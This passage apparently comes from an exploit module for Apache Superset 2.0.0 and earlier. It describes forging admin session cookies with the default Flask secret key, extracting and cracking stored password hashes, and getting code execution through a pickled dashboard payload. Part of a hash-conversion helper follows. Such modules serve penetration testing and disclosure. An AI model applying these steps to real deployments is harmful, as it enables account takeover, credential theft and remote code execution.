          Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
          These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
          of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
          Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
          set for that dashboard within Superset's database which will trigger the RCE.

          An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.

  def transform_hash(hash)
    # Some background on transforming this hash:
    # If we use python hashlib to generate the hash, it matches
    # example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
    # hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()
    #                                                                            'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'
    # however, JTR doesn't like this: No password hashes loaded (see FAQ)
    # hashid also doesn't: [+] Unknown hash

    # the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash
    # https://hashcat.net/forum/thread-7715.html is the same issue
    # the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.

    # example output:     $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
